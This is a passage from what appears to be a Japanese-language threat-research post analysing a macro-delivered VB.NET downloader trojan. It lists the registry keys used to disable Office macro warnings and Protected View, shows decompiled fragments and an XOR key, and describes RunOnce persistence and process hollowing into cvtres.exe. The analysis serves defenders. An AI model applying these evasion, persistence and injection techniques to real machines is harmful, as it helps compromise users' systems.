ware\\Microsoft\\Office\\11.0\\Excel\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\VBAWarnings\r\n<\/pre>\n<p>\u307e\u305f\u3001\u30de\u30af\u30ed\u306f\u3001\u4ee5\u4e0b\u306e\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u306e\u5024\u30921\u306b\u8a2d\u5b9a\u3057\u3066\u3001Word\u3001Excel\u304a\u3088\u3073PowerPoint\u5185\u3067\u4fdd\u8b77\u30d3\u30e5\u30fc\u6a5f\u80fd\u306b\u3088\u3063\u3066\u63d0\u4f9b\u3055\u308c\u308b\u4fdd\u8b77\u3092\u7121\u52b9\u5316\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002<\/p>\n<pre>HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV\r\n<\/pre>\n<h4><a id=\"post-104133-\u7b2c1\u6bb5\u968e\u306e\u30da\u30a4\u30ed\u30fc\u30c9\"><\/a>\u7b2c1\u6bb5\u968e\u306e\u30da\u30a4\u30ed\u30fc\u30c9<\/h4>\n<p>\u30de\u30af\u30ed\u306b\u3088\u3063\u3066\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001VB.NET\u3067\u66f8\u304b\u308c\u305f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u30012\u6b21\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u304a\u3068\u308a\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u3053\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u306e\u4f5c\u6210\u8005\u306f\u3001\u300cSales System Application\u300d\u3068\u3044\u3046\u540d\u524d\u306e\u30aa\u30fc\u30d7\u30f3 \u30bd\u30fc\u30b9 \u30c4\u30fc\u30eb\u306e\u30bd\u30fc\u30b9 \u30b3\u30fc\u30c9\u3092\u4f7f\u7528\u3057\u305f\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u3053\u306e\u30bd\u30fc\u30b9 \u30b3\u30fc\u30c9\u306f\u3001hxxp:\/\/www.a1vbcode[.]com\/app-2999.asp\u3067\u7121\u6599\u3067\u5165\u624b\u3067\u304d\u307e\u3059\u3002\u5f0a\u793e\u306f\u3001\u3053\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u306e\u4f5c\u6210\u8005\u304c\u300cSales System Application\u300d\u3092\u4f7f\u7528\u3057\u3066\u3001\u60aa\u610f\u306e\u3042\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5408\u6cd5\u7684\u306b\u898b\u305b\u304b\u3051\u305f\u3082\u306e\u3068\u8003\u3048\u3066\u3044\u307e\u3059\u3002\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u4f5c\u6210\u8005\u306f\u3001\u72ec\u81ea\u306e\u30b3\u30fc\u30c9\u3092\u3053\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u8ffd\u52a0\u3057\u3066\u3001\u30b0\u30e9\u30d5\u30a3\u30ab\u30eb \u30e6\u30fc\u30b6\u30fc \u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30a4\u30b9\u3092\u8868\u793a\u3059\u308b\u6b63\u898f\u306e\u95a2\u6570\u3092\u547c\u3073\u51fa\u3059\u524d\u306b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u30e1\u30cb\u30e5\u30fc\u3092\u521d\u671f\u5316\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u3001\u4ee5\u4e0b\u306e\u95a2\u6570\u304c\u547c\u3073\u51fa\u3055\u308c\u307e\u3059\u3002<\/p>\n<pre>ETransaksi.Speed(); \/\/ Legitimate class, but method is the first\r\nwrapped function that leads to malicious code\r\nProjectData.EndApp(); \/\/ Closes the application before rest of\r\nlegitimate Sales System Application functions are called\r\n<\/pre>\n<p>\u5408\u6cd5\u7684\u306aETransaksi\u30af\u30e9\u30b9\u306e\u300cSpeed\u300d\u30e1\u30bd\u30c3\u30c9\u306b\u306f\u3001Sales System Application\u306e\u5408\u6cd5\u7684\u306a\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3057\u304b\u3057\u3001\u3053\u306e\u30c4\u30fc\u30eb\u306e\u4f5c\u6210\u8005\u306f\u3001\u3053\u306e\u30b3\u30fc\u30c9\u3092if\/else\u69cb\u9020\u4f53\u306b\u7d44\u307f\u8fbc\u307f\u3001false\u306e\u30d5\u30e9\u30b0\u3092\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u3067\u3001\u3053\u308c\u3089\u306e\u547d\u4ee4\u3092\u30d0\u30a4\u30d1\u30b9\u3057\u3001\u5408\u6cd5\u7684\u306a\u30b3\u30fc\u30c9\u3092\u30b9\u30ad\u30c3\u30d7\u3057\u3066\u3001\u6b21\u306e\u30b9\u30c6\u30c3\u30d7\u306b\u9032\u307f\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u305b\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u30b3\u30fc\u30c9\u4f8b\u306f\u3001false\u306e\u30d5\u30e9\u30b0\u304c\u8a2d\u5b9a\u3055\u308c(5 &gt; 115)\u3001ETransaksi.diomadnfagaghagh\u30e1\u30bd\u30c3\u30c9\u304c\u547c\u3073\u51fa\u3055\u308c\u308b\u4f8b\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<pre>int num = 5;\r\nint num2 = 155;\r\nbool flag = num &gt; num2;\r\nif (flag)\r\n{\r\n    \r\n}\r\nelse\r\n{\r\n    NewLateBinding.LateCall(ETransaksi.diomadnfagaghagh(), null, \"Invoke\", new object[]\r\n    {\r\n        null,\r\n        new object[0]\r\n    }, null, null, null, true);\r\n<\/pre>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3053\u306e\u6280\u6cd5\u3092\u4f7f\u7528\u3057\u3066\u3001\u6700\u7d42\u7684\u306b\u60aa\u610f\u306e\u3042\u308b\u30bf\u30b9\u30af\u3092\u5b9f\u884c\u3059\u308b\u30e1\u30bd\u30c3\u30c9\u306e\u30c1\u30a7\u30fc\u30f3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u524d\u8ff0\u3057\u305f\u300cSpeed\u300d\u30e1\u30bd\u30c3\u30c9\u3092\u4f8b\u5916\u3068\u3057\u3066\u3001\u3053\u306e\u30c1\u30a7\u30fc\u30f3\u3067\u547c\u3073\u51fa\u3055\u308c\u308b\u30e1\u30bd\u30c3\u30c9\u306e\u540d\u524d\u306f\u3001\u4ee5\u4e0b\u306e\u30ea\u30b9\u30c8\u306e\u3088\u3046\u306b\u307e\u3063\u305f\u304f\u30e9\u30f3\u30c0\u30e0\u306e\u3088\u3046\u3067\u3059\u3002<\/p>\n<ol>\n<li>ETransaksi.Speed<\/li>\n<li>ETransaksi.diomadnfagaghagh<\/li>\n<li>ETransaksi.fjcsERIfjfiojsGHIsdifjksi<\/li>\n<li>ETransaksi.gsgjIDJIGJIGJIGJIFDOSpl<\/li>\n<li>ETransaksi.FJaioefgkaoeK<\/li>\n<\/ol>\n<p>\u30c1\u30a7\u30fc\u30f3\u306e\u6700\u5f8c\u306e2\u3064\u306e\u30e1\u30bd\u30c3\u30c9\u304c\u30011\u756a\u76ee\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u6a5f\u80fd\u306e\u5927\u534a\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002ETransaksi.gsgjIDJIGJIGJIGJIFDOSpl\u30e1\u30bd\u30c3\u30c9\u306f\u3001\u300cfgjfaieSDFAOKEfj.GSrdofjksrgj\u300d\u3068\u3044\u3046\u540d\u524d\u306e\u30ea\u30bd\u30fc\u30b9\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u4ee5\u4e0b\u306e\u30ad\u30fc\u3092\u4f7f\u7528\u3057\u305f\u30de\u30eb\u30c1\u30d0\u30a4\u30c8XOR\u6697\u53f7\u306b\u3088\u3063\u3066ETransaksi.FJaioefgkaoeK\u30e1\u30bd\u30c3\u30c9\u3067\u5fa9\u53f7\u3055\u308c\u307e\u3059\u3002<\/p>\n<pre class=\"\">byte[] array = new byte[]\r\n    {\r\n        19,\r\n        129,\r\n        43,\r\n        37,\r\n        56,\r\n        65,\r\n        255,\r\n        75,\r\n        111,\r\n        19,\r\n        211,\r\n        120,\r\n        0,\r\n        49,\r\n        126,\r\n        248\r\n    };\r\n<\/pre>\n<p>\u7d50\u679c\u3068\u3057\u3066\u751f\u6210\u3055\u308c\u305f\u5e73\u6587\u306f\u3001\u5225\u306e.NET\u30a2\u30bb\u30f3\u30d6\u30ea\u3067\u3001\u3053\u308c\u3092\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u81ea\u8eab\u306e\u30d7\u30ed\u30bb\u30b9 \u30b9\u30da\u30fc\u30b9\u5185\u306b\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/p>\n<h4><a id=\"post-104133-\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30c8\u30ed\u30a4\u306e\u6728\u99ac\"><\/a>\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30c8\u30ed\u30a4\u306e\u6728\u99ac<\/h4>\n<p>1\u756a\u76ee\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u3088\u3063\u3066\u30ed\u30fc\u30c9\u3055\u308c\u308b\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u306f\u3044\u304f\u3064\u304b\u306e\u57cb\u3081\u8fbc\u307f\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u304c\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3057\u3066\u6700\u7d42\u7684\u306b2\u756a\u76ee\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3057\u3001\u304a\u3068\u308a\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u958b\u304d\u307e\u3059\u3002\u672a\u77e5\u306e\u30d7\u30ed\u30b0\u30e9\u30de\u30c1\u30c3\u30af \u30d3\u30eb\u30c0\u30fc \u30c4\u30fc\u30eb\u304c\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3092\u4f5c\u6210\u3057\u305f\u3068\u601d\u308f\u308c\u3001\u30b3\u30fc\u30c9\u306f\u3001\u3053\u306e\u7279\u5b9a\u30b5\u30f3\u30d7\u30eb\u3067\u306f\u6709\u52b9\u5316\u3055\u308c\u306a\u304b\u3063\u305f\u8ffd\u52a0\u6a5f\u80fd\u7528\u306e\u8907\u6570\u306e\u8a2d\u5b9a\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u5b9f\u884c\u3055\u308c\u308b\u3068\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u300cBINDERON\u300d\u3067\u8a2d\u5b9a\u3055\u308c\u305f\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3057\u3001\u30ea\u30bd\u30fc\u30b9\u540d\u300cB\u300d\u304b\u3089\u57cb\u3081\u8fbc\u307f\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u62bd\u51fa\u3057\u3066\u3001%TEMP%\\%BIND1%\u306b\u4fdd\u5b58\u3057\u3001\u57cb\u3081\u8fbc\u307f\u30da\u30a4\u30ed\u30fc\u30c9\u3067\u65b0\u898f\u30d7\u30ed\u30bb\u30b9\u3092\u4f5c\u6210\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u304b\u3069\u3046\u304b\u5224\u65ad\u3057\u307e\u3059\u3002\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u3053\u306e\u6d3b\u52d5\u3092\u5b9f\u884c\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u3066\u3082\u3001\u4f5c\u6210\u8005\u306f\u300cB\u300d\u30ea\u30bd\u30fc\u30b9\u5185\u306b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u57cb\u3081\u8fbc\u307e\u306a\u304b\u3063\u305f\u305f\u3081\u3001\u3053\u306e\u6a5f\u80fd\u306f\u4f55\u306e\u6d3b\u52d5\u3082\u5b9f\u884c\u3057\u307e\u305b\u3093\u3002\u4f8b\u5916\u304c\u767a\u751f\u3057\u3001\u5b9f\u884c\u304c\u7d9a\u884c\u3055\u308c\u308b\u3060\u3051\u3067\u3059\u3002<\/p>\n<p>\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u898b\u3064\u304b\u3063\u305f\u3082\u30461\u3064\u306e\u8a2d\u5b9a\u30aa\u30d7\u30b7\u30e7\u30f3\u306f\u3001\u300c%STARTUPON%\u300d\u306e\u30c1\u30a7\u30c3\u30af\u3067\u3059\u3002\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u3053\u306e\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u6709\u52b9\u306b\u3057\u3066\u5b9f\u884c\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u304c\u3001\u3082\u3057\u3053\u306e\u30aa\u30d7\u30b7\u30e7\u30f3\u304c\u6709\u52b9\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308c\u3070\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u81ea\u3089\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3092base64\u30a8\u30f3\u30b3\u30fc\u30c9\u5f62\u5f0f\u3067\u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3093\u3067\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u7279\u5b9a\u306e\u5834\u6240\u306b\u81ea\u3089\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3088\u3046\u3068\u3057\u305f\u3067\u3057\u3087\u3046\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">%APPDATA%\\Microsoft\\Windows\\DsvHelper\\%DECRY%.txt<\/span><\/p>\n<p>\u305d\u3057\u3066\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001%DECRY%.txt\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u8aad\u307f\u53d6\u308a\u3001\u305d\u308c\u3089\u3092\u30c7\u30b3\u30fc\u30c9\u3057\u3066\u3001\u30c7\u30b3\u30fc\u30c9\u3057\u305f\u30c7\u30fc\u30bf\u3092\u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307f\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">%USERPROFILE%\\APPDATA\\Roaming\\Microsoft\\Windows\\DsvHelper\\@RANDOM@.exe<\/span><\/p>\n<p>\u6b21\u306b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001@RANDOM@.exe\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3057\u3066\u65b0\u898f\u30d7\u30ed\u30bb\u30b9\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u300cDsvHelper\u300d\u30d5\u30a9\u30eb\u30c0\u5185\u3067\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u5b9f\u884c\u3055\u308c\u308b\u3068\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8(.lnk\u30d5\u30a1\u30a4\u30eb)\u3092\u4f5c\u6210\u3057\u3066\u3001\u3053\u306e\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u3092\u300cDsvHelper\u300d\u30d5\u30a9\u30eb\u30c0\u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002\u6b21\u306b\u4ee5\u4e0b\u306e\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u3092\u4f5c\u6210\u3057\u3066\u3001\u30b7\u30b9\u30c6\u30e0\u304c\u59cb\u52d5\u3059\u308b\u305f\u3073\u306b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u81ea\u52d5\u7684\u306b\u5b9f\u884c\u3055\u308c\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\@RANDOM@<\/span><\/p>\n<p>\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u5b9f\u884c\u3059\u308b\u30e1\u30a4\u30f3\u306e\u52d5\u4f5c\u306f\u3001\u57cb\u3081\u8fbc\u307f\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u53d6\u5f97\u3057\u3001\u73fe\u5728\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3092\u7a7a\u6d1e\u5316\u3057\u3001\u65b0\u898f\u306e\u57cb\u3081\u8fbc\u307f\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u30d7\u30ed\u30bb\u30b9 \u30e1\u30e2\u30ea\u30fc\u306b\u66f8\u304d\u8fbc\u307f\u3001\u65b0\u3057\u304f\u4f5c\u6210\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u3067\u7279\u5b9a\u306e\u95a2\u6570\u3092\u547c\u3073\u51fa\u3059\u3053\u3068\u3067\u3059\u3002\u30d7\u30ed\u30bb\u30b9 \u30e1\u30e2\u30ea\u30fc\u306b\u66f8\u304d\u8fbc\u307e\u308c\u305f\u57cb\u3081\u8fbc\u307f\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u300cR\u300d\u30ea\u30bd\u30fc\u30b9\u306b\u5b58\u5728\u3057\u3001\u65b0\u898f\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3067\u547c\u3073\u51fa\u3055\u308c\u308b\u95a2\u6570\u306e\u540d\u524d\u306f\u3001\u300cRPe.Test.Work\u300d\u3067\u3059\u3002\u3053\u306e\u95a2\u6570\u306f\u3001\u6700\u521d\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u57cb\u3081\u8fbc\u307e\u308c\u305f\u5225\u306e\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u300cM\u300d\u3068\u3044\u3046\u540d\u524d\u306e\u30ea\u30bd\u30fc\u30b9\u3068\u307f\u306a\u3057\u3001\u4ee5\u4e0b\u306e\u30d7\u30ed\u30bb\u30b9\u306b\u633f\u5165\u3057\u3066\u5b9f\u884c\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe<\/span><\/p>\n<p>cvtres.exe\u306b\u633f\u5165\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u3053\u306e\u30b3\u30fc\u30c9\u3092\u4ee5\u4e0b\u306e\u30d7\u30ed\u30bb\u30b9\u306b\u3082\u633f\u5165\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe<\/span><\/p>\n<h4><a id=\"post-104133-\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30a4\u30f3\u30b8\u30a7\u30af\u30bf\u30fc\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\"><\/a>\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30a4\u30f3\u30b8\u30a7\u30af\u30bf\u30fc\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac<\/h4>\n<p>\u524d\u8ff0\u306eR\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u30a4\u30f3\u30b8\u30a7\u30af\u30bf\u30fc\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u9593\u9055\u3044\u3042\u308a\u307e\u305b\u3093\u3002\u3053\u308c\u306f\u3001\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u30d1\u30b9\u3068\u3001\u30d7\u30ed\u30bb\u30b9\u306b\u633f\u5165\u3059\u308b\u30b3\u30fc\u30c9\u306e\u30d0\u30c3\u30d5\u30a1\u3092\u3001\u5f15\u6570\u3068\u3057\u3066\u53d7\u3051\u53d6\u308a\u307e\u3059\u3002R\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001CreateProcessA API\u95a2\u6570\u3092\u4f7f\u7528\u3057\u3066\u3001\u63d0\u4f9b\u3055\u308c\u305f\u30d1\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u30d7\u30ed\u30bb\u30b9\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u6b21\u306b\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001GetThreadContext API\u95a2\u6570\u3092\u4f7f\u7528\u3057\u3066\u3001\u65b0\u3057\u304f\u4f5c\u6210\u3055\u308c\u305f\u30d7\u30ed\u30bb\u30b9\u306e\u57fa\u672c\u30a2\u30c9\u30ec\u30b9\u3092\u898b\u3064\u3051\u3001NtUnmapViewOfSection\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u30d7\u30ed\u30bb\u30b9\u3092\u7a7a\u6d1e\u5316\u3057\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001VirtualAllocEx API\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u65b0\u3057\u304f\u7a7a\u6d1e\u5316\u3055\u308c\u305f\u30d7\u30ed\u30bb\u30b9\u306b\u30d0\u30c3\u30d5\u30a1\u3092\u4f5c\u6210\u3057\u3001WriteProcessMemory API\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u633f\u5165\u3059\u308b\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u305f\u63d0\u4f9b\u3055\u308c\u305f\u30c7\u30fc\u30bf \u30d0\u30c3\u30d5\u30a1\u3092\u3001\u65b0\u3057\u304f\u4f5c\u6210\u3055\u308c\u305f\u30d0\u30c3\u30d5\u30a1\u306b\u66f8\u304d\u8fbc\u307f\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001SetThreadContext API\u3092\u4f7f\u7528\u3057\u3066\u3001\u65b0\u3057\u304f\u633f\u5165\u3055\u308c\u305f\u30b3\u30fc\u30c9\u306e\u5165\u53e3\u306bEIP\u3092\u8a2d\u5b9a\u3057\u3001\u6700\u7d42\u7684\u306bNtAlertResumeThread API\u95a2\u6570\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u633f\u5165\u3055\u308c\u305f\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<h4><a 